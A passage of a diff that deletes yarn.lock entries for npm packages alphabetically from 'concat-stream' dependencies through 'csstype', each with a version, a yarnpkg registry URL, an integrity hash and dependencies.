-  integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
-  dependencies:
-    buffer-from "^1.0.0"
-    inherits "^2.0.3"
-    readable-stream "^2.2.2"
-    typedarray "^0.0.6"
-
-confusing-browser-globals@^1.0.10, confusing-browser-globals@^1.0.9:
-  version "1.0.10"
-  resolved "https://registry.yarnpkg.com/confusing-browser-globals/-/confusing-browser-globals-1.0.10.tgz#30d1e7f3d1b882b25ec4933d1d1adac353d20a59"
-  integrity sha512-gNld/3lySHwuhaVluJUKLePYirM3QNCKzVxqAdhJII9/WXKVX5PURzMVJspS1jTslSqjeuG4KMVTSouit5YPHA==
-
-connect-history-api-fallback@^1.6.0:
-  version "1.6.0"
-  resolved "https://registry.yarnpkg.com/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz#8b32089359308d111115d81cad3fceab888f97bc"
-  integrity sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==
-
-console-browserify@^1.1.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
-  integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==
-
-constants-browserify@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
-  integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
-
-contains-path@^0.1.0:
-  version "0.1.0"
-  resolved "https://registry.yarnpkg.com/contains-path/-/contains-path-0.1.0.tgz#fe8cf184ff6670b6baef01a9d4861a5cbec4120a"
-  integrity sha1-/ozxhP9mcLa67wGp1IYaXL7EEgo=
-
-content-disposition@0.5.3:
-  version "0.5.3"
-  resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-  integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
-  dependencies:
-    safe-buffer "5.1.2"
-
-content-type@~1.0.4:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
-  integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
-
-convert-source-map@1.7.0, convert-source-map@^1.4.0, convert-source-map@^1.5.0, convert-source-map@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
-  integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
-  dependencies:
-    safe-buffer "~5.1.1"
-
-convert-source-map@^0.3.3:
-  version "0.3.5"
-  resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-0.3.5.tgz#f1d802950af7dd2631a1febe0596550c86ab3190"
-  integrity sha1-8dgClQr33SYxof6+BZZVDIarMZA=
-
-cookie-signature@1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-  integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-  integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
-
-cookiejar@^2.1.1:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/cookiejar/-/cookiejar-2.1.2.tgz#dd8a235530752f988f9a0844f3fc589e3111125c"
-  integrity sha512-Mw+adcfzPxcPeI+0WlvRrr/3lGVO0bD75SxX6811cxSh1Wbxx7xZBGK1eVtDf6si8rg2lhnUjsVLMFMfbRIuwA==
-
-copy-anything@^2.0.1:
-  version "2.0.3"
-  resolved "https://registry.yarnpkg.com/copy-anything/-/copy-anything-2.0.3.tgz#842407ba02466b0df844819bbe3baebbe5d45d87"
-  integrity sha512-GK6QUtisv4fNS+XcI7shX0Gx9ORg7QqIznyfho79JTnX1XhLiyZHfftvGiziqzRiEi/Bjhgpi+D2o7HxJFPnDQ==
-  dependencies:
-    is-what "^3.12.0"
-
-copy-concurrently@^1.0.0:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/copy-concurrently/-/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0"
-  integrity sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==
-  dependencies:
-    aproba "^1.1.1"
-    fs-write-stream-atomic "^1.0.8"
-    iferr "^0.1.5"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.0"
-
-copy-descriptor@^0.1.0:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-  integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-copy-props@^2.0.1:
-  version "2.0.5"
-  resolved "https://registry.yarnpkg.com/copy-props/-/copy-props-2.0.5.tgz#03cf9ae328d4ebb36f8f1d804448a6af9ee3f2d2"
-  integrity sha512-XBlx8HSqrT0ObQwmSzM7WE5k8FxTV75h1DX1Z3n6NhQ/UYYAvInWYmG06vFt7hQZArE2fuO62aihiWIVQwh1sw==
-  dependencies:
-    each-props "^1.3.2"
-    is-plain-object "^5.0.0"
-
-copy-to-clipboard@^3.2.0:
-  version "3.3.1"
-  resolved "https://registry.yarnpkg.com/copy-to-clipboard/-/copy-to-clipboard-3.3.1.tgz#115aa1a9998ffab6196f93076ad6da3b913662ae"
-  integrity sha512-i13qo6kIHTTpCm8/Wup+0b1mVWETvu2kIMzKoK8FpkLkFxlt0znUAHcMzox+T8sPlqtZXq3CulEjQHsYiGFJUw==
-  dependencies:
-    toggle-selection "^1.0.6"
-
-core-js-compat@^3.14.0, core-js-compat@^3.6.2, core-js-compat@^3.9.1:
-  version "3.14.0"
-  resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.14.0.tgz#b574dabf29184681d5b16357bd33d104df3d29a5"
-  integrity sha512-R4NS2eupxtiJU+VwgkF9WTpnSfZW4pogwKHd8bclWU2sp93Pr5S1uYJI84cMOubJRou7bcfL0vmwtLslWN5p3A==
-  dependencies:
-    browserslist "^4.16.6"
-    semver "7.0.0"
-
-core-js-pure@^3.14.0:
-  version "3.14.0"
-  resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.14.0.tgz#72bcfacba74a65ffce04bf94ae91d966e80ee553"
-  integrity sha512-YVh+LN2FgNU0odThzm61BsdkwrbrchumFq3oztnE9vTKC4KS2fvnPmcx8t6jnqAyOTCTF4ZSiuK8Qhh7SNcL4g==
-
-core-js@^2.4.0:
-  version "2.6.12"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.12.tgz#d9333dfa7b065e347cc5682219d6f690859cc2ec"
-  integrity sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==
-
-core-js@^3.5.0:
-  version "3.14.0"
-  resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.14.0.tgz#62322b98c71cc2018b027971a69419e2425c2a6c"
-  integrity sha512-3s+ed8er9ahK+zJpp9ZtuVcDoFzHNiZsPbNAAE4KXgrRHbjSqqNN6xGSXq6bq7TZIbKj4NLrLb6bJ5i+vSVjHA==
-
-core-util-is@1.0.2, core-util-is@~1.0.0:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-  integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cosmiconfig@^5.0.0, cosmiconfig@^5.2.1:
-  version "5.2.1"
-  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a"
-  integrity sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==
-  dependencies:
-    import-fresh "^2.0.0"
-    is-directory "^0.3.1"
-    js-yaml "^3.13.1"
-    parse-json "^4.0.0"
-
-cosmiconfig@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
-  integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==
-  dependencies:
-    "@types/parse-json" "^4.0.0"
-    import-fresh "^3.1.0"
-    parse-json "^5.0.0"
-    path-type "^4.0.0"
-    yaml "^1.7.2"
-
-create-ecdh@^4.0.0:
-  version "4.0.4"
-  resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
-  integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==
-  dependencies:
-    bn.js "^4.1.0"
-    elliptic "^6.5.3"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
-  integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==
-  dependencies:
-    cipher-base "^1.0.1"
-    inherits "^2.0.1"
-    md5.js "^1.3.4"
-    ripemd160 "^2.0.1"
-    sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
-  version "1.1.7"
-  resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
-  integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
-  dependencies:
-    cipher-base "^1.0.3"
-    create-hash "^1.1.0"
-    inherits "^2.0.1"
-    ripemd160 "^2.0.0"
-    safe-buffer "^5.0.1"
-    sha.js "^2.4.8"
-
-cross-fetch@^2.1.0:
-  version "2.2.3"
-  resolved "https://registry.yarnpkg.com/cross-fetch/-/cross-fetch-2.2.3.tgz#e8a0b3c54598136e037f8650f8e823ccdfac198e"
-  integrity sha512-PrWWNH3yL2NYIb/7WF/5vFG3DCQiXDOVf8k3ijatbrtnwNuhMWLC7YF7uqf53tbTFDzHIUD8oITw4Bxt8ST3Nw==
-  dependencies:
-    node-fetch "2.1.2"
-    whatwg-fetch "2.0.4"
-
-cross-fetch@^3.0.4:
-  version "3.1.4"
-  resolved "https://registry.yarnpkg.com/cross-fetch/-/cross-fetch-3.1.4.tgz#9723f3a3a247bf8b89039f3a380a9244e8fa2f39"
-  integrity sha512-1eAtFWdIubi6T4XPy6ei9iUFoKpUkIF971QLN8lIvvvwueI65+Nw5haMNKUwfJxabqlIIDODJKGrQ66gxC0PbQ==
-  dependencies:
-    node-fetch "2.6.1"
-
-cross-spawn@7.0.1:
-  version "7.0.1"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.1.tgz#0ab56286e0f7c24e153d04cc2aa027e43a9a5d14"
-  integrity sha512-u7v4o84SwFpD32Z8IIcPZ6z1/ie24O6RU3RbtL5Y316l3KuHVPx9ItBgWQ6VlfAFnRnTtMUrsQ9MUUTuEZjogg==
-  dependencies:
-    path-key "^3.1.0"
-    shebang-command "^2.0.0"
-    which "^2.0.1"
-
-cross-spawn@^6.0.0, cross-spawn@^6.0.5:
-  version "6.0.5"
-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-  integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
-  dependencies:
-    nice-try "^1.0.4"
-    path-key "^2.0.1"
-    semver "^5.5.0"
-    shebang-command "^1.2.0"
-    which "^1.2.9"
-
-crypto-browserify@^3.11.0:
-  version "3.12.0"
-  resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-  integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
-  dependencies:
-    browserify-cipher "^1.0.0"
-    browserify-sign "^4.0.0"
-    create-ecdh "^4.0.0"
-    create-hash "^1.1.0"
-    create-hmac "^1.1.0"
-    diffie-hellman "^5.0.0"
-    inherits "^2.0.1"
-    pbkdf2 "^3.0.3"
-    public-encrypt "^4.0.0"
-    randombytes "^2.0.0"
-    randomfill "^1.0.3"
-
-crypto-es@^1.2.2:
-  version "1.2.7"
-  resolved "https://registry.yarnpkg.com/crypto-es/-/crypto-es-1.2.7.tgz#754a6d52319a94fb4eb1f119297f17196b360f88"
-  integrity sha512-UUqiVJ2gUuZFmbFsKmud3uuLcNP2+Opt+5ysmljycFCyhA0+T16XJmo1ev/t5kMChMqWh7IEvURNCqsg+SjZGQ==
-
-css-blank-pseudo@^0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/css-blank-pseudo/-/css-blank-pseudo-0.1.4.tgz#dfdefd3254bf8a82027993674ccf35483bfcb3c5"
-  integrity sha512-LHz35Hr83dnFeipc7oqFDmsjHdljj3TQtxGGiNWSOsTLIAubSm4TEz8qCaKFpk7idaQ1GfWscF4E6mgpBysA1w==
-  dependencies:
-    postcss "^7.0.5"
-
-css-color-keywords@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/css-color-keywords/-/css-color-keywords-1.0.0.tgz#fea2616dc676b2962686b3af8dbdbe180b244e05"
-  integrity sha1-/qJhbcZ2spYmhrOvjb2+GAskTgU=
-
-css-color-names@0.0.4, css-color-names@^0.0.4:
-  version "0.0.4"
-  resolved "https://registry.yarnpkg.com/css-color-names/-/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0"
-  integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=
-
-css-declaration-sorter@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-4.0.1.tgz#c198940f63a76d7e36c1e71018b001721054cb22"
-  integrity sha512-BcxQSKTSEEQUftYpBVnsH4SF05NTuBokb19/sBt6asXGKZ/6VP7PLG1CBCkFDYOnhXhPh0jMhO6xZ71oYHXHBA==
-  dependencies:
-    postcss "^7.0.1"
-    timsort "^0.3.0"
-
-css-has-pseudo@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.yarnpkg.com/css-has-pseudo/-/css-has-pseudo-0.10.0.tgz#3c642ab34ca242c59c41a125df9105841f6966ee"
-  integrity sha512-Z8hnfsZu4o/kt+AuFzeGpLVhFOGO9mluyHBaA2bA8aCGTwah5sT3WV/fTHH8UNZUytOIImuGPrl/prlb4oX4qQ==
-  dependencies:
-    postcss "^7.0.6"
-    postcss-selector-parser "^5.0.0-rc.4"
-
-css-in-js-utils@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/css-in-js-utils/-/css-in-js-utils-2.0.1.tgz#3b472b398787291b47cfe3e44fecfdd9e914ba99"
-  integrity sha512-PJF0SpJT+WdbVVt0AOYp9C8GnuruRlL/UFW7932nLWmFLQTaWEzTBQEx7/hn4BuV+WON75iAViSUJLiU3PKbpA==
-  dependencies:
-    hyphenate-style-name "^1.0.2"
-    isobject "^3.0.1"
-
-css-loader@3.4.2:
-  version "3.4.2"
-  resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-3.4.2.tgz#d3fdb3358b43f233b78501c5ed7b1c6da6133202"
-  integrity sha512-jYq4zdZT0oS0Iykt+fqnzVLRIeiPWhka+7BqPn+oSIpWJAHak5tmB/WZrJ2a21JhCeFyNnnlroSl8c+MtVndzA==
-  dependencies:
-    camelcase "^5.3.1"
-    cssesc "^3.0.0"
-    icss-utils "^4.1.1"
-    loader-utils "^1.2.3"
-    normalize-path "^3.0.0"
-    postcss "^7.0.23"
-    postcss-modules-extract-imports "^2.0.0"
-    postcss-modules-local-by-default "^3.0.2"
-    postcss-modules-scope "^2.1.1"
-    postcss-modules-values "^3.0.0"
-    postcss-value-parser "^4.0.2"
-    schema-utils "^2.6.0"
-
-css-prefers-color-scheme@^3.1.1:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/css-prefers-color-scheme/-/css-prefers-color-scheme-3.1.1.tgz#6f830a2714199d4f0d0d0bb8a27916ed65cff1f4"
-  integrity sha512-MTu6+tMs9S3EUqzmqLXEcgNRbNkkD/TGFvowpeoWJn5Vfq7FMgsmRQs9X5NXAURiOBmOxm/lLjsDNXDE6k9bhg==
-  dependencies:
-    postcss "^7.0.5"
-
-css-select-base-adapter@^0.1.1:
-  version "0.1.1"
-  resolved "https://registry.yarnpkg.com/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
-  integrity sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==
-
-css-select@^2.0.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
-  integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==
-  dependencies:
-    boolbase "^1.0.0"
-    css-what "^3.2.1"
-    domutils "^1.7.0"
-    nth-check "^1.0.2"
-
-css-select@^4.1.3:
-  version "4.1.3"
-  resolved "https://registry.yarnpkg.com/css-select/-/css-select-4.1.3.tgz#a70440f70317f2669118ad74ff105e65849c7067"
-  integrity sha512-gT3wBNd9Nj49rAbmtFHj1cljIAOLYSX1nZ8CB7TBO3INYckygm5B7LISU/szY//YmdiSLbJvDLOx9VnMVpMBxA==
-  dependencies:
-    boolbase "^1.0.0"
-    css-what "^5.0.0"
-    domhandler "^4.2.0"
-    domutils "^2.6.0"
-    nth-check "^2.0.0"
-
-css-to-react-native@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/css-to-react-native/-/css-to-react-native-3.0.0.tgz#62dbe678072a824a689bcfee011fc96e02a7d756"
-  integrity sha512-Ro1yETZA813eoyUp2GDBhG2j+YggidUmzO1/v9eYBKR2EHVEniE2MI/NqpTQ954BMpTPZFsGNPm46qFB9dpaPQ==
-  dependencies:
-    camelize "^1.0.0"
-    css-color-keywords "^1.0.0"
-    postcss-value-parser "^4.0.2"
-
-css-tree@1.0.0-alpha.37:
-  version "1.0.0-alpha.37"
-  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
-  integrity sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==
-  dependencies:
-    mdn-data "2.0.4"
-    source-map "^0.6.1"
-
-css-tree@^1.1.2:
-  version "1.1.3"
-  resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.1.3.tgz#eb4870fb6fd7707327ec95c2ff2ab09b5e8db91d"
-  integrity sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==
-  dependencies:
-    mdn-data "2.0.14"
-    source-map "^0.6.1"
-
-css-what@^3.2.1:
-  version "3.4.2"
-  resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
-  integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==
-
-css-what@^5.0.0:
-  version "5.0.1"
-  resolved "https://registry.yarnpkg.com/css-what/-/css-what-5.0.1.tgz#3efa820131f4669a8ac2408f9c32e7c7de9f4cad"
-  integrity sha512-FYDTSHb/7KXsWICVsxdmiExPjCfRC4qRFBdVwv7Ax9hMnvMmEjP9RfxTEZ3qPZGmADDn2vAKSo9UcN1jKVYscg==
-
-css.escape@^1.5.1:
-  version "1.5.1"
-  resolved "https://registry.yarnpkg.com/css.escape/-/css.escape-1.5.1.tgz#42e27d4fa04ae32f931a4b4d4191fa9cddee97cb"
-  integrity sha1-QuJ9T6BK4y+TGktNQZH6nN3ul8s=
-
-css@^2.0.0:
-  version "2.2.4"
-  resolved "https://registry.yarnpkg.com/css/-/css-2.2.4.tgz#c646755c73971f2bba6a601e2cf2fd71b1298929"
-  integrity sha512-oUnjmWpy0niI3x/mPL8dVEI1l7MnG3+HHyRPHf+YFSbK+svOhXpmSOcDURUh2aOCgl2grzrOPt1nHLuCVFULLw==
-  dependencies:
-    inherits "^2.0.3"
-    source-map "^0.6.1"
-    source-map-resolve "^0.5.2"
-    urix "^0.1.0"
-
-css@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/css/-/css-3.0.0.tgz#4447a4d58fdd03367c516ca9f64ae365cee4aa5d"
-  integrity sha512-DG9pFfwOrzc+hawpmqX/dHYHJG+Bsdb0klhyi1sDneOgGOXy9wQIC8hzyVp1e4NRYDBdxcylvywPkkXCHAzTyQ==
-  dependencies:
-    inherits "^2.0.4"
-    source-map "^0.6.1"
-    source-map-resolve "^0.6.0"
-
-cssdb@^4.4.0:
-  version "4.4.0"
-  resolved "https://registry.yarnpkg.com/cssdb/-/cssdb-4.4.0.tgz#3bf2f2a68c10f5c6a08abd92378331ee803cddb0"
-  integrity sha512-LsTAR1JPEM9TpGhl/0p3nQecC2LJ0kD8X5YARu1hk/9I1gril5vDtMZyNxcEpxxDj34YNck/ucjuoUd66K03oQ==
-
-cssesc@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-2.0.0.tgz#3b13bd1bb1cb36e1bcb5a4dcd27f54c5dcb35703"
-  integrity sha512-MsCAG1z9lPdoO/IUMLSBWBSVxVtJ1395VGIQ+Fc2gNdkQ1hNDnQdw3YhA71WJCBW1vdwA0cAnk/DnW6bqoEUYg==
-
-cssesc@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
-  integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
-
-cssnano-preset-default@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-4.0.8.tgz#920622b1fc1e95a34e8838203f1397a504f2d3ff"
-  integrity sha512-LdAyHuq+VRyeVREFmuxUZR1TXjQm8QQU/ktoo/x7bz+SdOge1YKc5eMN6pRW7YWBmyq59CqYba1dJ5cUukEjLQ==
-  dependencies:
-    css-declaration-sorter "^4.0.1"
-    cssnano-util-raw-cache "^4.0.1"
-    postcss "^7.0.0"
-    postcss-calc "^7.0.1"
-    postcss-colormin "^4.0.3"
-    postcss-convert-values "^4.0.1"
-    postcss-discard-comments "^4.0.2"
-    postcss-discard-duplicates "^4.0.2"
-    postcss-discard-empty "^4.0.1"
-    postcss-discard-overridden "^4.0.1"
-    postcss-merge-longhand "^4.0.11"
-    postcss-merge-rules "^4.0.3"
-    postcss-minify-font-values "^4.0.2"
-    postcss-minify-gradients "^4.0.2"
-    postcss-minify-params "^4.0.2"
-    postcss-minify-selectors "^4.0.2"
-    postcss-normalize-charset "^4.0.1"
-    postcss-normalize-display-values "^4.0.2"
-    postcss-normalize-positions "^4.0.2"
-    postcss-normalize-repeat-style "^4.0.2"
-    postcss-normalize-string "^4.0.2"
-    postcss-normalize-timing-functions "^4.0.2"
-    postcss-normalize-unicode "^4.0.1"
-    postcss-normalize-url "^4.0.1"
-    postcss-normalize-whitespace "^4.0.2"
-    postcss-ordered-values "^4.1.2"
-    postcss-reduce-initial "^4.0.3"
-    postcss-reduce-transforms "^4.0.2"
-    postcss-svgo "^4.0.3"
-    postcss-unique-selectors "^4.0.1"
-
-cssnano-util-get-arguments@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz#ed3a08299f21d75741b20f3b81f194ed49cc150f"
-  integrity sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=
-
-cssnano-util-get-match@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz#c0e4ca07f5386bb17ec5e52250b4f5961365156d"
-  integrity sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=
-
-cssnano-util-raw-cache@^4.0.1:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.1.tgz#b26d5fd5f72a11dfe7a7846fb4c67260f96bf282"
-  integrity sha512-qLuYtWK2b2Dy55I8ZX3ky1Z16WYsx544Q0UWViebptpwn/xDBmog2TLg4f+DBMg1rJ6JDWtn96WHbOKDWt1WQA==
-  dependencies:
-    postcss "^7.0.0"
-
-cssnano-util-same-parent@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.yarnpkg.com/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.1.tgz#574082fb2859d2db433855835d9a8456ea18bbf3"
-  integrity sha512-WcKx5OY+KoSIAxBW6UBBRay1U6vkYheCdjyVNDm85zt5K9mHoGOfsOsqIszfAqrQQFIIKgjh2+FDgIj/zsl21Q==
-
-cssnano@^4.1.10:
-  version "4.1.11"
-  resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-4.1.11.tgz#c7b5f5b81da269cb1fd982cb960c1200910c9a99"
-  integrity sha512-6gZm2htn7xIPJOHY824ERgj8cNPgPxyCSnkXc4v7YvNW+TdVfzgngHcEhy/8D11kUWRUMbke+tC+AUcUsnMz2g==
-  dependencies:
-    cosmiconfig "^5.0.0"
-    cssnano-preset-default "^4.0.8"
-    is-resolvable "^1.0.0"
-    postcss "^7.0.0"
-
-csso@^4.0.0, csso@^4.0.2:
-  version "4.2.0"
-  resolved "https://registry.yarnpkg.com/csso/-/csso-4.2.0.tgz#ea3a561346e8dc9f546d6febedd50187cf389529"
-  integrity sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA==
-  dependencies:
-    css-tree "^1.1.2"
-
-cssom@0.3.x, "cssom@>= 0.3.2 < 0.4.0", cssom@^0.3.4:
-  version "0.3.8"
-  resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
-  integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==
-
-cssstyle@^1.0.0, cssstyle@^1.1.1:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-1.4.0.tgz#9d31328229d3c565c61e586b02041a28fccdccf1"
-  integrity sha512-GBrLZYZ4X4x6/QEoBnIrqb8B/f5l4+8me2dkom/j1Gtbxy0kBv6OGzKuAsGM75bkGwGAFkt56Iwg28S3XTZgSA==
-  dependencies:
-    cssom "0.3.x"
-
-csstype@^3.0.2:
-  version "3.0.8"
-  resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.8.tgz#d2266a792729fb227cd216fb572f43728e1ad340"
